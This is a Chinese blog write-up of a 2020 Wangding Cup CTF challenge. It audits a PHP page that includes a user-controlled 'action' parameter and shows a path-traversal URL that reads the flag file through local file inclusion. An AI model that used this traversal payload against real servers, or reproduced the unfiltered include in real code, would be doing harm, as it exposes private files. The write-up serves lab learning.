[网鼎杯 2020 半决赛]AliceWebsite WP

一、题目分析

题目地址:https://buuoj.cn/challenges#[网鼎杯 2020 半决赛]AliceWebsite

拿到题目,我们点击查看页面,发现没有什么功能点
image

于是访问题目后发现 URL 中的参数可以用来读取文件,初步判断可能存在文件包含漏洞
进一步查看题目给出的源码如下:

<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
  include $action;
} else {
  echo "File not found!";
}
?>

二、源码审计

1. 参数来源分析

$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
  • $action 直接从 GET 参数中获取
  • 用户可以完全控制其内容
  • 未对输入进行任何过滤或限制

2. file_exists 函数分析

file_exists($action)

file_exists() 是 PHP 内置函数,用于判断指定路径的文件或目录是否存在,其作用是避免程序操作不存在的文件而产生报错。


3. include 问题

include $action;
  • include 会解析并执行包含的 PHP 文件
  • 当包含路径由用户可控时,极易造成 本地文件包含漏洞(LFI)

三、漏洞利用

读取 flag 文件

在确认存在 LFI 后,通过不断尝试服务器常见路径,最终读取 flag 文件:

http://b41b6e72-aa23-4f48-a7fe-01a0664e72c0.node5.buuoj.cn:81/index.php?action=../../../flag

image

成功获得 flag。


posted @ 2025-12-22 21:01  困困小猫log  阅读(0)  评论(0)    收藏  举报